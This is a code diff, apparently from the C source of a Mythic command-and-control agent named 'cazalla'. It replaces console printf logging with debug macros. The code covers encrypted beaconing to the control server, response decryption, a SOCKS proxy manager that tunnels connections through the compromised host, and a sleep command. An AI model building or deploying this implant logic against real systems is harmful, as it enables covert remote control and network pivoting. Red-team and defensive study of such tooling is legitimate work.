printf("[PAQUETE] Calling CryptoMythicEncryptPackage() with %zu bytes...\n", dataPackage->length); _dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
fflush(stdout);
if (!CryptoMythicEncryptPackage(dataPackage)) { if (!CryptoMythicEncryptPackage(dataPackage)) {
printf("[PAQUETE] ERROR: Falló el cifrado\n"); _err("Falló el cifrado");
LocalFree(dataPackage->buffer); LocalFree(dataPackage->buffer);
LocalFree(dataPackage); LocalFree(dataPackage);
return NULL; return NULL;
} }
printf("[PAQUETE] === ENCRYPTION COMPLETE ===\n"); _inf("=== ENCRYPTION COMPLETE ===");
printf("[PAQUETE] Datos cifrados: %zu bytes (original: %zu bytes)\n", _dbg("Datos cifrados: %zu bytes (original: %zu bytes)",
dataPackage->length, dataLength); dataPackage->length, dataLength);
// Log encrypted data preview // Log encrypted data preview
printf("[PAQUETE] Encrypted data preview (hex, first 80 bytes): "); _dbg("Encrypted data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) { for (size_t i = 0; i < (dataPackage->length > 80 ? 80 : dataPackage->length); i++) {
printf("%02x ", ((PBYTE)dataPackage->buffer)[i]); _dbg(" %02x ", ((PBYTE)dataPackage->buffer)[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
fflush(stdout);
// Concatenate UUID + encrypted data // Concatenate UUID + encrypted data
SIZE_T finalSize = UUID_LENGTH + dataPackage->length; SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
@@ -207,98 +183,93 @@ PAnalizador mandarPaquete(PPaquete paquete) {
if (!finalBuffer) { if (!finalBuffer) {
LocalFree(dataPackage->buffer); LocalFree(dataPackage->buffer);
LocalFree(dataPackage); LocalFree(dataPackage);
printf("[PAQUETE] ERROR: Failed to allocate final buffer\n"); _err("Failed to allocate final buffer");
return NULL; return NULL;
} }
printf("[PAQUETE] === CONCATENATING UUID + ENCRYPTED DATA ===\n"); _dbg("=== CONCATENATING UUID + ENCRYPTED DATA ===");
memcpy(finalBuffer, uuidStr, UUID_LENGTH); memcpy(finalBuffer, uuidStr, UUID_LENGTH);
printf("[PAQUETE] Copied UUID (%zu bytes) to final buffer\n", UUID_LENGTH); _dbg("Copied UUID (%zu bytes) to final buffer", UUID_LENGTH);
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length); memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
printf("[PAQUETE] Copied encrypted data (%zu bytes) to final buffer at offset %zu\n", _dbg("Copied encrypted data (%zu bytes) to final buffer at offset %zu",
dataPackage->length, UUID_LENGTH); dataPackage->length, UUID_LENGTH);
datosAEnviar = finalBuffer; datosAEnviar = finalBuffer;
tamanoAEnviar = finalSize; tamanoAEnviar = finalSize;
printf("[PAQUETE] === FINAL BUFFER READY ===\n"); _dbg("=== FINAL BUFFER READY ===");
printf("[PAQUETE] Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)\n", _dbg("Tamaño final: %zu bytes (UUID: %zu, cifrado: %zu)",
finalSize, UUID_LENGTH, dataPackage->length); finalSize, UUID_LENGTH, dataPackage->length);
// Log first bytes of final buffer (show UUID + start of encrypted data) // Log first bytes of final buffer (show UUID + start of encrypted data)
printf("[PAQUETE] Final buffer preview (hex, first 100 bytes): "); _dbg("Final buffer preview (hex, first 100 bytes): ");
for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) { for (size_t i = 0; i < (finalSize > 100 ? 100 : finalSize); i++) {
printf("%02x ", finalBuffer[i]); _dbg(" %02x ", finalBuffer[i]);
if (i == UUID_LENGTH - 1) { if (i == UUID_LENGTH - 1) {
printf("| "); // Mark where UUID ends _dbg("| "); // Mark where UUID ends
} }
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
// Log final buffer as readable string (first part should be UUID) // Log final buffer as readable string (first part should be UUID)
char finalPreview[101] = {0}; char finalPreview[101] = {0};
size_t previewLen = finalSize > 100 ? 100 : finalSize; size_t previewLen = finalSize > 100 ? 100 : finalSize;
memcpy(finalPreview, finalBuffer, previewLen); memcpy(finalPreview, finalBuffer, previewLen);
printf("[PAQUETE] Final buffer preview (ASCII, first 100 bytes): %.*s\n", _dbg("Final buffer preview (ASCII, first 100 bytes): %.*s",
(int)previewLen, finalPreview); (int)previewLen, finalPreview);
printf("[PAQUETE] First 36 chars should be UUID: %.*s\n", 36, finalPreview); _dbg("First 36 chars should be UUID: %.*s", 36, finalPreview);
fflush(stdout);
// Cleanup temporary package // Cleanup temporary package
LocalFree(dataPackage->buffer); LocalFree(dataPackage->buffer);
LocalFree(dataPackage); LocalFree(dataPackage);
} else { } else {
printf("[PAQUETE] Cifrado deshabilitado, enviando plaintext completo\n"); _inf("Cifrado deshabilitado, enviando plaintext completo");
datosAEnviar = (PBYTE)paquete->buffer; datosAEnviar = (PBYTE)paquete->buffer;
tamanoAEnviar = paquete->length; tamanoAEnviar = paquete->length;
} }
// Codificar en base64 // Codificar en base64
printf("[PAQUETE] === BASE64 ENCODING ===\n"); _dbg("=== BASE64 ENCODING ===");
printf("[PAQUETE] Binary size to encode: %zu bytes\n", tamanoAEnviar); _dbg("Binary size to encode: %zu bytes", tamanoAEnviar);
// Log binary data before base64 // Log binary data before base64
printf("[PAQUETE] Binary data preview (hex, first 80 bytes): "); _dbg("Binary data preview (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) { for (size_t i = 0; i < (tamanoAEnviar > 80 ? 80 : tamanoAEnviar); i++) {
printf("%02x ", datosAEnviar[i]); _dbg(" %02x ", datosAEnviar[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar); PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar); SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
if (!paqueteParaMandar) { if (!paqueteParaMandar) {
printf("[PAQUETE] ERROR: b64Codificado returned NULL\n"); _err("b64Codificado returned NULL");
fflush(stdout);
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) { if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
LocalFree(datosAEnviar); LocalFree(datosAEnviar);
} }
return NULL; return NULL;
} }
printf("[PAQUETE] Base64 encoding complete\n"); _dbg("Base64 encoding complete");
printf("[PAQUETE] Tamaño después de base64: %zu bytes (expected: ~%zu bytes)\n", _dbg("Tamaño después de base64: %zu bytes (expected: ~%zu bytes)",
tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3); tamanoDelPaquete, (tamanoAEnviar * 4 + 2) / 3);
// Log base64 preview with more detail // Log base64 preview with more detail
if (paqueteParaMandar && tamanoDelPaquete > 0) { if (paqueteParaMandar && tamanoDelPaquete > 0) {
size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete; size_t previewLen = tamanoDelPaquete > 100 ? 100 : tamanoDelPaquete;
char preview[101] = {0}; char preview[101] = {0};
memcpy(preview, paqueteParaMandar, previewLen); memcpy(preview, paqueteParaMandar, previewLen);
printf("[PAQUETE] Base64 preview (first %zu chars): %s\n", previewLen, preview); _dbg("Base64 preview (first %zu chars): %s", previewLen, preview);
if (tamanoDelPaquete > 100) { if (tamanoDelPaquete > 100) {
printf("[PAQUETE] ... (total %zu chars)\n", tamanoDelPaquete); _dbg("... (total %zu chars)", tamanoDelPaquete);
} }
// Show where UUID should be in base64 (first 48 chars should be UUID base64) // Show where UUID should be in base64 (first 48 chars should be UUID base64)
printf("[PAQUETE] First 48 chars of base64 (should contain UUID): %.*s\n", _dbg("First 48 chars of base64 (should contain UUID): %.*s",
48, paqueteParaMandar); 48, paqueteParaMandar);
} }
printf("[PAQUETE] === READY TO SEND ===\n"); _inf("=== READY TO SEND ===");
printf("[PAQUETE] Enviando paquete base64 de %zu bytes\n", tamanoDelPaquete); _dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
fflush(stdout);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete); PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
LocalFree(paqueteParaMandar); LocalFree(paqueteParaMandar);
@@ -308,21 +279,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
} }
if (!respuesta) { if (!respuesta) {
printf("[PAQUETE] ERROR: respuesta NULL\n"); _err("respuesta NULL");
fflush(stdout);
return NULL; return NULL;
} }
printf("[PAQUETE] respuesta OK\n"); _dbg("respuesta OK");
fflush(stdout);
// === Decodificar base64 de la respuesta === // === Decodificar base64 de la respuesta ===
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts // When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
// the response, but the agent still receives it base64-encoded from HTTP. // the response, but the agent still receives it base64-encoded from HTTP.
// The agent will handle decryption AFTER base64 decode if needed. // The agent will handle decryption AFTER base64 decode if needed.
if (respuesta && respuesta->original && respuesta->tamano > 0) { if (respuesta && respuesta->original && respuesta->tamano > 0) {
printf("[PAQUETE] Decodificando base64 de %zu bytes...\n", respuesta->tamano); _dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
fflush(stdout);
PBYTE datosDecodificados = NULL; PBYTE datosDecodificados = NULL;
SIZE_T tamanoDecodificado = 0; SIZE_T tamanoDecodificado = 0;
@@ -335,40 +303,38 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Decodificar // Decodificar
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) { if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
printf("[PAQUETE] Base64 decodificado: %zu bytes\n", tamanoDecodificado); _dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
fflush(stdout);
// === Decrypt if encryption is enabled === // === Decrypt if encryption is enabled ===
if (crypto_is_encryption_enabled()) { if (crypto_is_encryption_enabled()) {
printf("[PAQUETE] === DECRYPTING RESPONSE ===\n"); _inf("=== DECRYPTING RESPONSE ===");
printf("[PAQUETE] Base64 decoded size: %zu bytes\n", tamanoDecodificado); _dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
// Log raw data before decryption // Log raw data before decryption
printf("[PAQUETE] Raw response before decryption (hex, first 80 bytes): "); _dbg("Raw response before decryption (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) { for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
printf("%02x ", datosDecodificados[i]); _dbg(" %02x ", datosDecodificados[i]);
if ((i + 1) % 32 == 0) printf("\n[PAQUETE] "); if ((i + 1) % 32 == 0) _dbg("\n");
} }
printf("\n");
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data) // Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
if (tamanoDecodificado >= 36) { if (tamanoDecodificado >= 36) {
char uuidCheck[37] = {0}; char uuidCheck[37] = {0};
memcpy(uuidCheck, datosDecodificados, 36); memcpy(uuidCheck, datosDecodificados, 36);
printf("[PAQUETE] First 36 bytes (UUID check): %s\n", uuidCheck); _dbg("First 36 bytes (UUID check): %s", uuidCheck);
printf("[PAQUETE] Expected UUID: %s\n", cazallaConfig->idAgente); _dbg("Expected UUID: %s", cazallaConfig->idAgente);
// If response starts with UUID, we need to extract it // If response starts with UUID, we need to extract it
if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) { if (strncmp(uuidCheck, cazallaConfig->idAgente, 36) == 0) {
printf("[PAQUETE] Response format: UUID + encrypted_data detected\n"); _dbg("Response format: UUID + encrypted_data detected");
printf("[PAQUETE] Extracting encrypted data (after UUID)...\n"); _dbg("Extracting encrypted data (after UUID)...");
// Extract encrypted data (without UUID) // Extract encrypted data (without UUID)
SIZE_T encrypted_size = tamanoDecodificado - 36; SIZE_T encrypted_size = tamanoDecodificado - 36;
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size); PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
if (encrypted_data) { if (encrypted_data) {
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size); memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
printf("[PAQUETE] Encrypted data size (without UUID): %zu bytes\n", encrypted_size); _dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
// Create parser with just the encrypted data // Create parser with just the encrypted data
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
@@ -377,8 +343,8 @@ PAnalizador mandarPaquete(PPaquete paquete) {
tempParser->tamano = encrypted_size; tempParser->tamano = encrypted_size;
if (CryptoMythicDecryptParser(tempParser)) { if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] === DECRYPTION SUCCESS ===\n"); _inf("=== DECRYPTION SUCCESS ===");
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); _dbg("Decrypted size: %zu bytes", tempParser->tamano);
// Create final buffer with UUID + decrypted data // Create final buffer with UUID + decrypted data
SIZE_T final_size = 36 + tempParser->tamano; SIZE_T final_size = 36 + tempParser->tamano;
@@ -389,10 +355,10 @@ PAnalizador mandarPaquete(PPaquete paquete) {
LocalFree(datosDecodificados); LocalFree(datosDecodificados);
datosDecodificados = final_buffer; datosDecodificados = final_buffer;
tamanoDecodificado = final_size; tamanoDecodificado = final_size;
printf("[PAQUETE] Final response (UUID + decrypted): %zu bytes\n", final_size); _dbg("Final response (UUID + decrypted): %zu bytes", final_size);
} }
} else { } else {
printf("[PAQUETE] ERROR: Falló el descifrado\n"); _err("Falló el descifrado");
} }
LocalFree(tempParser); LocalFree(tempParser);
} else { } else {
@@ -401,25 +367,25 @@ PAnalizador mandarPaquete(PPaquete paquete) {
} }
} else { } else {
// Response doesn't start with UUID, try decrypting directly // Response doesn't start with UUID, try decrypting directly
printf("[PAQUETE] Response doesn't start with UUID, trying direct decryption...\n"); _dbg("Response doesn't start with UUID, trying direct decryption...");
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) { if (tempParser) {
tempParser->buffer = datosDecodificados; tempParser->buffer = datosDecodificados;
tempParser->tamano = tamanoDecodificado; tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) { if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] === DECRYPTION SUCCESS (no UUID in response) ===\n"); _inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
printf("[PAQUETE] Decrypted size: %zu bytes\n", tempParser->tamano); _dbg("Decrypted size: %zu bytes", tempParser->tamano);
datosDecodificados = tempParser->buffer; datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano; tamanoDecodificado = tempParser->tamano;
} else { } else {
printf("[PAQUETE] ERROR: Falló el descifrado\n"); _err("Falló el descifrado");
} }
LocalFree(tempParser); LocalFree(tempParser);
} }
} }
} else { } else {
printf("[PAQUETE] WARNING: Response too short (%zu bytes), cannot check UUID\n", tamanoDecodificado); _wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
// Try decrypting anyway // Try decrypting anyway
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador)); PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) { if (tempParser) {
@@ -427,16 +393,15 @@ PAnalizador mandarPaquete(PPaquete paquete) {
tempParser->tamano = tamanoDecodificado; tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) { if (CryptoMythicDecryptParser(tempParser)) {
printf("[PAQUETE] Decryption succeeded for short response\n"); _dbg("Decryption succeeded for short response");
datosDecodificados = tempParser->buffer; datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano; tamanoDecodificado = tempParser->tamano;
} else { } else {
printf("[PAQUETE] ERROR: Falló el descifrado\n"); _err("Falló el descifrado");
} }
LocalFree(tempParser); LocalFree(tempParser);
} }
} }
fflush(stdout);
} }
// Reemplazar el buffer del analizador // Reemplazar el buffer del analizador
@@ -452,22 +417,18 @@ PAnalizador mandarPaquete(PPaquete paquete) {
SIZE_T cursor = len - 5; SIZE_T cursor = len - 5;
BOOL found = FALSE; BOOL found = FALSE;
printf("[PAQUETE] Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados\n", len); _dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
fflush(stdout);
// Buscar marcador desde el final // Buscar marcador desde el final
while (cursor > 0 && cursor < len - 4) { while (cursor > 0 && cursor < len - 4) {
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) { if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
printf("[PAQUETE] ¡Marcador 0xF5 encontrado en offset %zu!\n", cursor); _dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
fflush(stdout);
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4]; UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
printf("[PAQUETE] Bloque SOCKS: ext_len=%u\n", ext_len); _dbg("Bloque SOCKS: ext_len=%u", ext_len);
fflush(stdout);
if (cursor + 5 + ext_len > len) { if (cursor + 5 + ext_len > len) {
printf("[PAQUETE] ERROR: bloque SOCKS truncado\n"); _err("bloque SOCKS truncado");
fflush(stdout);
break; break;
} }
@@ -490,17 +451,14 @@ PAnalizador mandarPaquete(PPaquete paquete) {
if (b64str_socks) { if (b64str_socks) {
memcpy(b64str_socks, buf + ecur, b64len); memcpy(b64str_socks, buf + ecur, b64len);
b64str_socks[b64len] = '\0'; b64str_socks[b64len] = '\0';
printf("[PAQUETE] Decodificando base64 SOCKS: %s\n", b64str_socks); _dbg("Decodificando base64 SOCKS: %s", b64str_socks);
fflush(stdout);
base64_decode(b64str_socks, &raw, &raw_len); base64_decode(b64str_socks, &raw, &raw_len);
printf("[PAQUETE] Base64 SOCKS decodificado: %zu bytes\n", raw_len); _dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
fflush(stdout);
LocalFree(b64str_socks); LocalFree(b64str_socks);
} }
} }
printf("[PAQUETE] Procesando SOCKS incoming: sid=%u exit=%u len=%zu\n", sid, exitf, raw_len); _dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
fflush(stdout);
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len); socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
if (raw) LocalFree(raw); if (raw) LocalFree(raw);
@@ -509,8 +467,7 @@ PAnalizador mandarPaquete(PPaquete paquete) {
// Remover bloque SOCKS del analizador // Remover bloque SOCKS del analizador
respuesta->tamano = cursor; respuesta->tamano = cursor;
printf("[PAQUETE] Bloque SOCKS procesado, tamaño ajustado a %zu\n", cursor); _dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
fflush(stdout);
found = TRUE; found = TRUE;
break; break;
} }
@@ -518,13 +475,11 @@ PAnalizador mandarPaquete(PPaquete paquete) {
} }
if (!found) { if (!found) {
printf("[PAQUETE] No se encontró bloque SOCKS\n"); _dbg("No se encontró bloque SOCKS");
fflush(stdout);
} }
} }
} else { } else {
printf("[PAQUETE] ERROR: fallo al decodificar base64\n"); _err("fallo al decodificar base64");
fflush(stdout);
} }
LocalFree(base64str); LocalFree(base64str);
} }
@@ -2,11 +2,6 @@
#include "cazalla.h" #include "cazalla.h"
#include "socks_manager.h" #include "socks_manager.h"
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SLEEPDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
BOOL sleep(PAnalizador argumentos) { BOOL sleep(PAnalizador argumentos) {
@@ -42,13 +37,13 @@ BOOL sleep(PAnalizador argumentos) {
/* Si el proxy SOCKS está activo, fuerza intervalos más cortos */ /* Si el proxy SOCKS está activo, fuerza intervalos más cortos */
if (socks_proxy_active) { if (socks_proxy_active) {
DBG_PRINTF("SOCKS activo → ajustando sleep corto dinámico"); _dbg("SOCKS activo → ajustando sleep corto dinámico");
if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos if (tiempoSleep > 5000) tiempoSleep = 5000; // máximo 5 segundos
} }
cazallaConfig->tiempoSleep = tiempoSleep; cazallaConfig->tiempoSleep = tiempoSleep;
DBG_PRINTF("Nuevo tiempoSleep configurado: %u ms", tiempoSleep); _dbg("Nuevo tiempoSleep configurado: %u ms", tiempoSleep);
/* respuesta al servidor */ /* respuesta al servidor */
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE); PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
@@ -26,11 +26,6 @@
#define CLOSESOCK(s) close(s) #define CLOSESOCK(s) close(s)
#endif #endif
#ifdef DEBUG_SOCKS
#define DBG_PRINTF(...) do { fprintf(stderr, "[SOCKSDBG] " __VA_ARGS__); fprintf(stderr, "\n"); fflush(stderr); } while(0)
#else
#define DBG_PRINTF(...) ((void)0)
#endif
volatile int socks_proxy_active = 0; // Flag global de estado SOCKS volatile int socks_proxy_active = 0; // Flag global de estado SOCKS
@@ -71,7 +66,7 @@ static void lock_init_once(void) {
/* === Inicialización / limpieza === */ /* === Inicialización / limpieza === */
void socks_manager_init(void) { void socks_manager_init(void) {
DBG_PRINTF("socks_manager_init()"); _dbg("socks_manager_init()");
lock_init_once(); lock_init_once();
#ifdef _WIN32 #ifdef _WIN32
WSADATA wsa; WSADATA wsa;
@@ -80,7 +75,7 @@ void socks_manager_init(void) {
} }
void socks_manager_cleanup(void) { void socks_manager_cleanup(void) {
DBG_PRINTF("socks_manager_cleanup()"); _dbg("socks_manager_cleanup()");
#ifdef _WIN32 #ifdef _WIN32
EnterCriticalSection(&conn_lock); EnterCriticalSection(&conn_lock);
#else #else
@@ -152,7 +147,7 @@ static conn_entry_t* create_entry(uint32_t server_id, sock_t s) {
#else #else
pthread_mutex_unlock(&conn_lock); pthread_mutex_unlock(&conn_lock);
#endif #endif
DBG_PRINTF("create_entry sid=%u sock=%d", server_id, (int)s); _dbg("create_entry sid=%u sock=%d", server_id, (int)s);
return e; return e;
} }
@@ -168,7 +163,7 @@ static void remove_entry(uint32_t server_id) {
if (prev) prev->next = cur->next; if (prev) prev->next = cur->next;
else conn_list = cur->next; else conn_list = cur->next;
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock); if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
DBG_PRINTF("remove_entry sid=%u", server_id); _dbg("remove_entry sid=%u", server_id);
free(cur); free(cur);
break; break;
} }
@@ -185,8 +180,7 @@ static void remove_entry(uint32_t server_id) {
/* === Cola de salida === */ /* === Cola de salida === */
static void enqueue_outgoing(socks_msg_t *m) { static void enqueue_outgoing(socks_msg_t *m) {
printf("[SOCKS_MGR] enqueue_outgoing: sid=%u exit=%d len=%zu\n", m->server_id, m->exit_flag, m->data_len); _dbg("enqueue_outgoing: sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
fflush(stdout);
outgoing_node_t *n = malloc(sizeof(outgoing_node_t)); outgoing_node_t *n = malloc(sizeof(outgoing_node_t));
memset(n,0,sizeof(*n)); memset(n,0,sizeof(*n));
n->msg.server_id = m->server_id; n->msg.server_id = m->server_id;
@@ -209,18 +203,14 @@ static void enqueue_outgoing(socks_msg_t *m) {
#else #else
pthread_mutex_unlock(&out_lock); pthread_mutex_unlock(&out_lock);
#endif #endif
printf("[SOCKS_MGR] Mensaje encolado OK (sid=%u)\n", m->server_id); _dbg("Mensaje encolado OK (sid=%u)", m->server_id);
fflush(stdout);
DBG_PRINTF("enqueue sid=%u exit=%d len=%zu", m->server_id, m->exit_flag, m->data_len);
} }
/* === Volcado de cola de salida === */ /* === Volcado de cola de salida === */
void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) { void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
printf("[SOCKS_MGR] flush_outgoing: iniciando\n"); _dbg("flush_outgoing: iniciando");
fflush(stdout);
if (!cb) { if (!cb) {
printf("[SOCKS_MGR] ERROR: callback es NULL\n"); _err("ERROR: callback es NULL");
fflush(stdout);
return; return;
} }
#ifdef _WIN32 #ifdef _WIN32
@@ -239,17 +229,15 @@ void socks_manager_flush_outgoing(socks_send_cb_t cb, void *ctx) {
int count = 0; int count = 0;
while (n) { while (n) {
count++; count++;
printf("[SOCKS_MGR] flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)\n", _dbg("flush_outgoing: procesando mensaje #%d (sid=%u exit=%d len=%zu)",
count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len); count, n->msg.server_id, n->msg.exit_flag, n->msg.data_len);
fflush(stdout);
outgoing_node_t *next = n->next; outgoing_node_t *next = n->next;
cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx); cb(n->msg.server_id, n->msg.exit_flag, n->msg.data, n->msg.data_len, ctx);
if (n->msg.data) free(n->msg.data); if (n->msg.data) free(n->msg.data);
free(n); free(n);
n = next; n = next;
} }
printf("[SOCKS_MGR] flush_outgoing: completado (%d mensajes procesados)\n", count); _dbg("flush_outgoing: completado (%d mensajes procesados)", count);
fflush(stdout);
} }
/* === Base64 === */ /* === Base64 === */
@@ -298,39 +286,30 @@ DWORD WINAPI remote_reader_thread(LPVOID arg) {
uint32_t sid = ra->server_id; uint32_t sid = ra->server_id;
sock_t s = ra->s; sock_t s = ra->s;
free(ra); free(ra);
printf("[READER] Thread iniciado para sid=%u socket=%d\n", sid, (int)s); _dbg("Thread iniciado para sid=%u socket=%d", sid, (int)s);
fflush(stdout);
unsigned char buf[4096]; unsigned char buf[4096];
int loop_count = 0; int loop_count = 0;
while (1) { while (1) {
loop_count++; loop_count++;
printf("[READER] sid=%u loop #%d, llamando recv()...\n", sid, loop_count); _dbg("sid=%u loop #%d, llamando recv()...", sid, loop_count);
fflush(stdout);
int r = recv(s, (char*)buf, sizeof(buf), 0); int r = recv(s, (char*)buf, sizeof(buf), 0);
printf("[READER] sid=%u recv() retornó r=%d", sid, r); _dbg("sid=%u recv() retornó r=%d", sid, r);
if (r < 0) { if (r < 0) {
int err = WSAGetLastError(); int err = WSAGetLastError();
printf(" WSAError=%d", err); _dbg(" WSAError=%d", err);
} }
printf("\n");
fflush(stdout);
if (r <= 0) break; if (r <= 0) break;
printf("[READER] sid=%u recibió %d bytes, encolando...\n", sid, r); _dbg("sid=%u recibió %d bytes, encolando...", sid, r);
fflush(stdout);
DBG_PRINTF("reader sid=%u recv=%d", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r}; socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m); enqueue_outgoing(&m);
printf("[READER] sid=%u datos encolados OK\n", sid); _dbg("sid=%u datos encolados OK", sid);
fflush(stdout);
} }
printf("[READER] sid=%u salió del loop, cerrando socket\n", sid); _dbg("sid=%u salió del loop, cerrando socket", sid);
fflush(stdout); _dbg("reader sid=%u closing", sid);
DBG_PRINTF("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0}; socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2); enqueue_outgoing(&m2);
CLOSESOCK(s); CLOSESOCK(s);
printf("[READER] Thread terminado para sid=%u\n", sid); _dbg("Thread terminado para sid=%u", sid);
fflush(stdout);
return 0; return 0;
} }
#else #else
@@ -343,11 +322,11 @@ static void* remote_reader_thread(void* arg) {
while (1) { while (1) {
ssize_t r = recv(s, buf, sizeof(buf), 0); ssize_t r = recv(s, buf, sizeof(buf), 0);
if (r <= 0) break; if (r <= 0) break;
DBG_PRINTF("reader sid=%u recv=%zd", sid, r); _dbg("reader sid=%u recv=%zd", sid, r);
socks_msg_t m = {sid, 0, buf, (size_t)r}; socks_msg_t m = {sid, 0, buf, (size_t)r};
enqueue_outgoing(&m); enqueue_outgoing(&m);
} }
DBG_PRINTF("reader sid=%u closing", sid); _dbg("reader sid=%u closing", sid);
socks_msg_t m2 = {sid, 1, NULL, 0}; socks_msg_t m2 = {sid, 1, NULL, 0};
enqueue_outgoing(&m2); enqueue_outgoing(&m2);
CLOSESOCK(s); CLOSESOCK(s);
@@ -362,24 +341,20 @@ typedef struct {
} socks_bound_addr_t; } socks_bound_addr_t;
static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) { static int connect_and_spawn_reader(const char *dest, uint16_t port, uint32_t server_id, socks_bound_addr_t *bound) {
printf("[SOCKS_MGR] connect_and_spawn_reader: dest=%s port=%u sid=%u\n", dest, port, server_id); _dbg("connect_and_spawn_reader: dest=%s port=%u sid=%u", dest, port, server_id);
fflush(stdout);
if (server_id == 0) { if (server_id == 0) {
printf("[SOCKS_MGR] ERROR: invalid server_id=%u\n", server_id); _err("ERROR: invalid server_id=%u", server_id);
fflush(stdout); _dbg("invalid server_id=%u (ignored)", server_id);
